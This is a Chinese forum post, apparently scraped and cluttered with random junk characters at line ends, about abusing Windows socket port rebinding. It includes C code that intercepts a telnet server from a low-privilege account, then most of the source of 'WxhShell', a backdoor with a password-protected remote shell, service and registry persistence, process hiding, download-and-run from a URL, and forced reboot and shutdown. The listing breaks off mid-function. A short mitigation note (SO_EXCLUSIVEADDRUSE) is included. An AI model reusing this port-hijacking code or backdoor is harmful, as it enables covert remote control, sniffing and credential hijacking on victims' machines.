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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A8T8+M:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N;R I A  
T7?cnK"  
  saddr.sin_family = AF_INET; 0[.T`tpN'  
^0HgE;4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lw=!v%L  
2`U+ !  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D+"+m%^>C  
nR8r$2B+t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,vB~9^~  
x};sti R  
  这意味着什么?意味着可以进行如下的攻击: $3]]<oH  
SGP)A(,k9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8:fq!m  
U# U*^#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `l0"4 [?  
U?=-V8#M|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;VS$xnZ  
+d=w%r)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [Zne19/  
=XFyEt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :%>TM/E N  
d8.A8<wUr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~PyZh5x  
7f>~P_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '+v[z=.8]  
_B7+n"t\r  
  #include IsiBn(1Z  
  #include kK/( [!  
  #include Kp>fOe'KW  
  #include    K#LDmC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FK~*X3'  
  int main() 8 `}I]  
  { Ru@ { b`  
  WORD wVersionRequested; mr>dZ)  
  DWORD ret; ffR<G&"n~b  
  WSADATA wsaData; z!aU85y  
  BOOL val; YK>?;U+|  
  SOCKADDR_IN saddr; }///k]_Sh  
  SOCKADDR_IN scaddr; ){4!  
  int err; X+QoO=02LR  
  SOCKET s; %+@<T<>J<k  
  SOCKET sc; g17 fge6%  
  int caddsize; O96%U$W  
  HANDLE mt; "f:_(np,  
  DWORD tid;   9k;%R5(  
  wVersionRequested = MAKEWORD( 2, 2 ); wL[{6wL  
  err = WSAStartup( wVersionRequested, &wsaData ); w+gPU1|(r  
  if ( err != 0 ) { KJ cuZ."wX  
  printf("error!WSAStartup failed!\n"); 4 }NCdGD  
  return -1; Qrw:Bva)  
  } b<j*;n.  
  saddr.sin_family = AF_INET; 5M\bH'1  
   f&!{o=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |: pBk:  
RMlx[nsq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LwcAF g|  
  saddr.sin_port = htons(23); 1!;4I@W(I)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7X<#  
  { Y'yGhpT~  
  printf("error!socket failed!\n"); +NTC!/  
  return -1; M8${&&[;  
  } ^#]eCXv  
  val = TRUE; MH/bJtNq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZG( Pz9{K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cnB:bQQK8  
  { kL"Y>@H  
  printf("error!setsockopt failed!\n"); %R  P\,|  
  return -1; \G2PK&)F  
  } K"8!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; > 1=].  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t'[`"pp=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~z'Y(qG  
:{%~L4$HI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) + S@[1 N  
  { BBa!l e9P  
  ret=GetLastError(); YL/B7^fd8  
  printf("error!bind failed!\n"); Hb\['VhzM  
  return -1; b1EY6'R2  
  } KM/c^ a4V  
  listen(s,2); Pr3>}4M  
  while(1) OlM3G^1e1  
  { lJt?0;gn  
  caddsize = sizeof(scaddr); WmuYHEU  
  //接受连接请求 Bi7&yS5V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QBjvbWoIG(  
  if(sc!=INVALID_SOCKET) (Q"~bP{F  
  { EzU3'x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vf-8DB  
  if(mt==NULL) @PV3G KJ  
  { Mp06A.j[  
  printf("Thread Creat Failed!\n"); ^e--4B9|  
  break; %[on.Q'1]2  
  } iN1_ T  
  } _Uhl4Mh  
  CloseHandle(mt); 8;O/x  
  } 3cc;BWvM  
  closesocket(s); "] ]aF1  
  WSACleanup(); ~0rvrDDg  
  return 0; ,zh_-2^X  
  }   hbm #H7Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) $pauPEe  
  { (};/,t1#$  
  SOCKET ss = (SOCKET)lpParam; Qp+M5_  
  SOCKET sc; u<EPK*O*  
  unsigned char buf[4096]; W4=A.2[q  
  SOCKADDR_IN saddr; JhvT+"~  
  long num;  tk+4noA  
  DWORD val; Zou;o9Ww  
  DWORD ret; a~Yq0d?`D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lQpl8>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D&1(qi=x&  
  saddr.sin_family = AF_INET; ]xPy-j6C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !ezy  v`  
  saddr.sin_port = htons(23); Ks-$([_F   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zGa V^X  
  { 6foiN W+  
  printf("error!socket failed!\n"); {Gw{W&<  
  return -1; t(UdV  
  } *9 (E0"  
  val = 100; 3-BC4y/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c"P:p%\m&u  
  { S}6xkX  
  ret = GetLastError(); T }Wse{  
  return -1; :(;ho.zz  
  } $Y8iT<nP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7#C3E$gn?  
  { ) .W0}  
  ret = GetLastError(); UL" M?).5  
  return -1; KxDfPd+j[  
  } '?T<o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g#o9[su  
  { X?Or.  
  printf("error!socket connect failed!\n"); !J[!i"e  
  closesocket(sc); 3\K;y>NK  
  closesocket(ss); :VE0eJ]J6  
  return -1; );{76  
  } K+`deH_d  
  while(1) } wx(P3BHD  
  { f<>CSjQ4c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 fzUG1|$e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Nb)Mh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oG c9 6B%  
  num = recv(ss,buf,4096,0); " Rn@yZV  
  if(num>0) UQjYWXvi  
  send(sc,buf,num,0); b?:?"   
  else if(num==0) G-'CjiMu  
  break; izR#XeBm  
  num = recv(sc,buf,4096,0); u24XuSe$  
  if(num>0) -_bDbYL  
  send(ss,buf,num,0); .dj}y jd]f  
  else if(num==0) m`n#Q#6  
  break; o90[,  
  } N'Vj& DWC  
  closesocket(ss); r`e6B!p  
  closesocket(sc); m,&2s-v  
  return 0 ; 1^2]~R9,9  
  } h$p}/A  
oz7=1;r  
q oEZ>  
========================================================== .x1.`Y   
=.qPjp_Qd  
下边附上一个代码,,WXhSHELL G$2Pny<!  
9/{ 8Y&  
========================================================== ,_ @) IN  
Uurpho_~  
#include "stdafx.h" =KHX_ib  
{Rn*)D9  
#include <stdio.h> ]PB95%  
#include <string.h> 7Ac.^rv5  
#include <windows.h> 60l!3o"p!  
#include <winsock2.h> MHS|gR.c  
#include <winsvc.h> dRUmC H  
#include <urlmon.h> ;A0ZcgF  
={50>WXE  
#pragma comment (lib, "Ws2_32.lib") oSl}A,aQ(  
#pragma comment (lib, "urlmon.lib") [d=BN ,?  
cbW=kQc_  
#define MAX_USER   100 // 最大客户端连接数 qNUd "%S  
#define BUF_SOCK   200 // sock buffer @]L$eOV_  
#define KEY_BUFF   255 // 输入 buffer 3?TUt{3g  
Eo@rrM:  
#define REBOOT     0   // 重启 t-Ble  
#define SHUTDOWN   1   // 关机 o1H6E1$=  
I_|W'%N]  
#define DEF_PORT   5000 // 监听端口 &_' evZ8  
O~Svk'.)  
#define REG_LEN     16   // 注册表键长度 fC/P W`4Ae  
#define SVC_LEN     80   // NT服务名长度 v)nBp\fjxp  
%&eBkN!T  
// 从dll定义API +NoVe#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HcpAp]L)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h~ q5GhY!9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KBA& s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xu >grj  
NKRm#  
// wxhshell配置信息 Q1!+wC   
struct WSCFG { 2#Qw  
  int ws_port;         // 监听端口 DIgur}q)@  
  char ws_passstr[REG_LEN]; // 口令 A(z m  
  int ws_autoins;       // 安装标记, 1=yes 0=no W>u{JgY  
  char ws_regname[REG_LEN]; // 注册表键名 sHQO*[[  
  char ws_svcname[REG_LEN]; // 服务名 7gREcL2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @B!gxW\C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >^g\s]c[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zek>]l`!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oAv LSFn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ob]J!.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ()<?^lr33  
lInf,Q7W  
}; me90|GOx+  
oVd7ucnK  
// default Wxhshell configuration JO~62='J  
struct WSCFG wscfg={DEF_PORT, azG"Mt |7Z  
    "xuhuanlingzhe", <slrzc_>&  
    1, '@1C$0tx  
    "Wxhshell", /&l4 sF1  
    "Wxhshell", 34L1Gxf  
            "WxhShell Service", .]N`]3$=  
    "Wrsky Windows CmdShell Service", PB~ r7O]  
    "Please Input Your Password: ", ak{XLzn  
  1, +5GPU 9k  
  "http://www.wrsky.com/wxhshell.exe", ~DS.b-E  
  "Wxhshell.exe" v3wq-  
    }; eKRE1DK  
biRkq c;  
// 消息定义模块 {gzVbZ#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CW FE{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ),2|TlQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8_M"lU0[  
char *msg_ws_ext="\n\rExit."; FLIU}doc  
char *msg_ws_end="\n\rQuit."; 'ZAIe7i&  
char *msg_ws_boot="\n\rReboot..."; EIF  
char *msg_ws_poff="\n\rShutdown..."; \/-4jF:  
char *msg_ws_down="\n\rSave to "; *]c~[&x5&  
*DQa6,b  
char *msg_ws_err="\n\rErr!"; /)sP<WPQ 6  
char *msg_ws_ok="\n\rOK!"; +]Ev  
DeI3(o7  
char ExeFile[MAX_PATH]; u[nLrEnD  
int nUser = 0; UYzNaw4/x  
HANDLE handles[MAX_USER]; 9zm2}6r4  
int OsIsNt; z}Um$'. =  
A.(e=;0bu  
SERVICE_STATUS       serviceStatus; p[}~Z|(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HE0m#  
I/u>Gt  
// 函数声明 83VFBY2q  
int Install(void); R`,|08E  
int Uninstall(void); Q'YakEv >=  
int DownloadFile(char *sURL, SOCKET wsh); hfg ^z5  
int Boot(int flag); BE!l{  
void HideProc(void); SeLFubs_  
int GetOsVer(void); *a-KQw  
int Wxhshell(SOCKET wsl); %q6I-  
void TalkWithClient(void *cs); #$l:%  
int CmdShell(SOCKET sock); >` u8(  
int StartFromService(void); X2{Aa T*M  
int StartWxhshell(LPSTR lpCmdLine); )[ejb?{d  
tRNMiU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TgKSE1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zh_3ydMD1  
5ka6=R(r  
// 数据结构和表定义 WT}x Cni  
SERVICE_TABLE_ENTRY DispatchTable[] = V5gr-^E  
{ _>_ "cKS  
{wscfg.ws_svcname, NTServiceMain}, h;R>|2A  
{NULL, NULL} G[n;%c~`+  
}; P1 |3%#c  
9<o*aFgCa  
// 自我安装 Yy,XKIqU  
int Install(void) Bq,MTzxD  
{ (Dn1Eov  
  char svExeFile[MAX_PATH]; h<qi[d4X  
  HKEY key;   `#l1  
  strcpy(svExeFile,ExeFile); YD0j&@.  
OyG2Ks"H  
// 如果是win9x系统,修改注册表设为自启动 5x!rT&!G  
if(!OsIsNt) { yh'*eli  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -J0I2D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #"C!-kS'=  
  RegCloseKey(key); M|R\[ Zf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3,J{!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V;gC[7H  
  RegCloseKey(key); +jO#?J  
  return 0; bGK-?BE5+A  
    } ^ Z3y  
  } ft~QVe!  
} 'r1X6?d J  
else { RFq=`/>dG  
X.ZG-TC  
// 如果是NT以上系统,安装为系统服务 Ml/K~H tN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r4 qs!(  
if (schSCManager!=0) Z_>:p^id  
{ =F_j})O5  
  SC_HANDLE schService = CreateService Ox@$ }  
  ( !E,|EdIr  
  schSCManager, \\{78WDA  
  wscfg.ws_svcname, w }8=sw  
  wscfg.ws_svcdisp, l9 n$cv^  
  SERVICE_ALL_ACCESS, 09i7 7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vddod  
  SERVICE_AUTO_START, 8C*xrg#g:  
  SERVICE_ERROR_NORMAL, sXYXBX[  
  svExeFile, 5C9 .h:c4y  
  NULL, "]q0|ZdOwH  
  NULL, z?GtC{L9  
  NULL, uWi pjxS  
  NULL, 99n;%W>  
  NULL M0hR]4T  
  ); %&J`mq  
  if (schService!=0) #%{  
  { _>^Y0C[?5  
  CloseServiceHandle(schService); BM5)SgK  
  CloseServiceHandle(schSCManager); \w-3Spk*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oG-Eac,  
  strcat(svExeFile,wscfg.ws_svcname); bNHs jx@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TQOJN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2}_^~8  
  RegCloseKey(key); HUbXJsSP  
  return 0; M7#CMLy  
    } aM:tg1g  
  } e}s,WC2-  
  CloseServiceHandle(schSCManager); M&e=LV  
} 21] K7  
} pP%+@;  
g_eR&kuh  
return 1; lq?N>~PG  
} X>Z83qV5d!  
I*pFX0+  
// 自我卸载 Z/:W.*u  
int Uninstall(void) ?.ofs}  
{ ;zSV~G6-  
  HKEY key;  < B!f;  
waG &3m  
if(!OsIsNt) { [=:4^S|M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N9vNSmm  
  RegDeleteValue(key,wscfg.ws_regname); wQM( |@zE}  
  RegCloseKey(key); -L2?Tap  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U^-RyE!}  
  RegDeleteValue(key,wscfg.ws_regname); r l;Y7l  
  RegCloseKey(key); Y 2^y73&k  
  return 0; 7w\!3pv  
  } mXu";?2  
} J3'0^JP*  
} (1'sBm7F  
else { r^Soqom3  
) }k"7"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @[1,i~H  
if (schSCManager!=0) 9QkssI  
{ 2 ]r5e;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TLg 9`UA  
  if (schService!=0) GT3}'`f B  
  { L l,nt  
  if(DeleteService(schService)!=0) { 6K >(n  
  CloseServiceHandle(schService); L>N)[;|  
  CloseServiceHandle(schSCManager); R5 EC/@  
  return 0; v4\ m9Pu4  
  } EPM(hxCIQ  
  CloseServiceHandle(schService); S-brV\v7  
  } buHUBn[3)  
  CloseServiceHandle(schSCManager); o+\?E.%%g  
} 9~ifST \  
} W7 +Q&4Y  
uuy0fQQ8ti  
return 1; Iapzhy2l  
} >_X(rar0  
SQk5SP  
// 从指定url下载文件 z] |Y   
int DownloadFile(char *sURL, SOCKET wsh) qLB(Th\&'  
{ o/!a7>xO4  
  HRESULT hr; C%P.`NxA  
char seps[]= "/"; Y1BxRd?D  
char *token; =g=Vv"B_  
char *file; XLm@, A[  
char myURL[MAX_PATH]; u7-0?  
char myFILE[MAX_PATH]; 5jTA6s9zA  
3>z+3!I z  
strcpy(myURL,sURL); uW,rmd  
  token=strtok(myURL,seps); , - _ReL  
  while(token!=NULL) J^Wqa$<;"  
  { OW8TiM mK  
    file=token; [VOw:|Tt  
  token=strtok(NULL,seps); ;bq EfV0`2  
  } ^{g+HFTA@  
|G)bnmi7  
GetCurrentDirectory(MAX_PATH,myFILE); |mz0 ]  
strcat(myFILE, "\\"); /jOug>s  
strcat(myFILE, file); ?_/T$b ]  
  send(wsh,myFILE,strlen(myFILE),0); uJ,I6P~9  
send(wsh,"...",3,0); \BSPv]d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~s[Yu!(  
  if(hr==S_OK) @Tsdgx8  
return 0; tgu fU  
else o2LUB)=R'  
return 1; <Q.-WV]Z  
M5S<N_+Pe  
} ?QzN\f Y;  
]8opI\  
// 系统电源模块 G""=`@  
int Boot(int flag) iEMIzaR  
{ 3[To"You  
  HANDLE hToken; l" H/PB<.  
  TOKEN_PRIVILEGES tkp; }iR!uhi#  
H3S u'3  
  if(OsIsNt) { *Rj*%S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a#,lf9M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Js !Zk\O  
    tkp.PrivilegeCount = 1; Pu!%sGjD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;'|t>'0_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); glWa?#1  
if(flag==REBOOT) { /A`Ly p#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YZp]vlm~  
  return 0; N)$yBzN  
} $EuI2.o  
else { y#e<]5I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O[&G6+  
  return 0; p2Fi(BW*q  
} q.RW_t~  
  } C6,W7M[c  
  else { lb#`f,r>  
if(flag==REBOOT) { ,An*w_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D5 ^WiQ<  
  return 0; %C*h/AW)'  
} 9{{CNy p  
else { o=do L{ #  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &v_b7h  
  return 0; {I"d"'h  
} <' b%  
} HoKN<w  
+JL"Z4b@R}  
return 1; g ??@~\Ov  
} `)eqTeW  
C$EvcF% 1  
// win9x进程隐藏模块 %g%#=a;]q  
void HideProc(void) 9=;ETLL "  
{ ,u<aKae  
XZ&q5]PJI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zDof e*  
  if ( hKernel != NULL ) ;+]GyDgVq  
  { JxLD}$I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xBMhk9b^0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); las|ougLy  
    FreeLibrary(hKernel); dD"o~iEC  
  } (g]J hG  
uEkUK|  
return; :ug j+  
} qnR{'d  
Mo+HLN  
// 获取操作系统版本 6 {tW$q  
int GetOsVer(void) 8'Ph/L,  
{ rgg3{bU/  
  OSVERSIONINFO winfo; 'm+)n08[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *1;}c z  
  GetVersionEx(&winfo); [.`#N1-@M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nA^UF_rD-  
  return 1; ~4+=C\r  
  else W%RjjL J@  
  return 0; &/A?*2  
} n,NKJt  
w">p 8  
// 客户端句柄模块 I- X|-  
int Wxhshell(SOCKET wsl) u!&Vbo? .B  
{ pjX')i<  
  SOCKET wsh; ryp@<}A]!d  
  struct sockaddr_in client; YWPAc>uw,  
  DWORD myID; |>P`Gl]E  
NI136P  
  while(nUser<MAX_USER) ~?n)1Vr|  
{ r$~ f[cA  
  int nSize=sizeof(client); <ib# PLRM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kyc Z  
  if(wsh==INVALID_SOCKET) return 1; f ^f{tOX  
n.$wW =  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T!N,1"r  
if(handles[nUser]==0) nAJ<@a  
  closesocket(wsh); <w d+cPZQr  
else kiFTx &gf  
  nUser++; sX,oJIt  
  } QeVM9br)m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T6ajWUw  
"!6 Ax-'  
  return 0; 4#m"t?6!  
} vxzOG?Xc:  
skn`Q>a  
// 关闭 socket )5U&^tJ  
void CloseIt(SOCKET wsh) T=w5FT  
{ EV 8}C=  
closesocket(wsh); D-BWgK  
nUser--; Td5;bg6Qy  
ExitThread(0); VL/%D*  
} fK|F`F2V  
c91rc>  
// 客户端请求句柄 5M2G ;o  
void TalkWithClient(void *cs) K?q1I<94  
{ S 5Q$dAL  
{uRnZ/m  
  SOCKET wsh=(SOCKET)cs; YRYAQj/7  
  char pwd[SVC_LEN]; Y&k6Xhuao  
  char cmd[KEY_BUFF]; \$Nx`d aFi  
char chr[1]; iS^IqS  
int i,j; /CAi%UH,F  
.)>DFGb>H  
  while (nUser < MAX_USER) { 1dF=BR8  
KN;b+`x;M  
if(wscfg.ws_passstr) { MKYXYR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OIa =$l43C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =kUN ^hb  
  //ZeroMemory(pwd,KEY_BUFF); b:nHcxDU<  
      i=0; i# 1:DiF  
  while(i<SVC_LEN) { )0P>o]fWI  
.h2K$(/  
  // 设置超时 WX} "Pj/6  
  fd_set FdRead; 47xJ(yO  
  struct timeval TimeOut; F.b;O :  
  FD_ZERO(&FdRead); sSC yjS'T  
  FD_SET(wsh,&FdRead); AopC xaJ`  
  TimeOut.tv_sec=8; ui,#AZQ#{4  
  TimeOut.tv_usec=0; [*O#6Xu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kd _tjWS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {<a(1#{  
!'No5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vb-L "S?kC  
  pwd=chr[0]; (ROurq"  
  if(chr[0]==0xd || chr[0]==0xa) { |:s 4#3  
  pwd=0; A`4j=OF\  
  break; :mU,g|~55  
  } 9i8D_[  
  i++; D84`#Xbi  
    } U<**Est  
`<h}Ygo>k/  
  // 如果是非法用户,关闭 socket \5$N> 2kO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dIG(7 ~  
} \w!G  
ki#O ^vl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n_%JXm#\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w<<G}4~u|  
z6 v RTY  
while(1) { Eoug/we  
ee]PFW28  
  ZeroMemory(cmd,KEY_BUFF); MX 2UYZ&  
'Lft\.C  
      // 自动支持客户端 telnet标准   Uc6BI$Fmz  
  j=0; kn_%'7  
  while(j<KEY_BUFF) { g_}r)CgG|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '!64_OMj'  
  cmd[j]=chr[0]; W :PGj0?  
  if(chr[0]==0xa || chr[0]==0xd) { cy)gN g  
  cmd[j]=0; 93yJAao9  
  break; +.Kmpw4  
  } -Rhxib|<  
  j++; >+=)Q,|R  
    } \eE0Rnaf-  
2+Z2`k]AC  
  // 下载文件 iKa}@U  
  if(strstr(cmd,"http://")) { tnz BNW8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SeBbI&Ju  
  if(DownloadFile(cmd,wsh)) :<w3.(Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E$jAqc  
  else d{@X-4k :  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` !HGM>  
  } LMWcF'l  
  else { 9}Tf9>qP>M  
'2a}1?  
    switch(cmd[0]) { t$8f:*6(*  
  _cx}e!BK#  
  // 帮助 12aAO|]/~  
  case '?': { >~I~!i3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4^VY  
    break; F8?&Ql/hdz  
  } gEtD qq~y@  
  // 安装 "xlf6pm%  
  case 'i': { *TA${$K  
    if(Install()) !m rB+<:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~wIVw}  
    else ehI*cf({  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B2%)G$B  
    break;  ;uNcrv0J  
    } t<9oEjk["  
  // 卸载 0 ]U ;5  
  case 'r': { &"fMiK3  
    if(Uninstall()) b#R3=TQS8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PIn'tV  
    else A5tY4?|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n 8Jx;j  
    break; J[;c}  
    } FGBPhH% (8  
  // 显示 wxhshell 所在路径 gk~.u  
  case 'p': { LpJ\OI*v  
    char svExeFile[MAX_PATH]; U?d1  
    strcpy(svExeFile,"\n\r"); za'Eom-<u  
      strcat(svExeFile,ExeFile); Y4}!9x  
        send(wsh,svExeFile,strlen(svExeFile),0); D{h1"q  
    break; dC_L~ }=  
    } 'Zf_/ y  
  // 重启 Rk56H  
  case 'b': { f .rz2)o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;RW!l pGjP  
    if(Boot(REBOOT)) Mi9A%ZmP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bV&/)eqv  
    else { a_m P$4T  
    closesocket(wsh); /s(/6~D|  
    ExitThread(0); ox] LlRK  
    } |uQJMf[L)  
    break; qr$=oCqa  
    } s d>&6 R^  
  // 关机 kg7oH.0E  
  case 'd': { \&]'GsfF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KP[ax2!x  
    if(Boot(SHUTDOWN)) m;lwMrY\7>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U;:>vi3p  
    else { 07Yh  
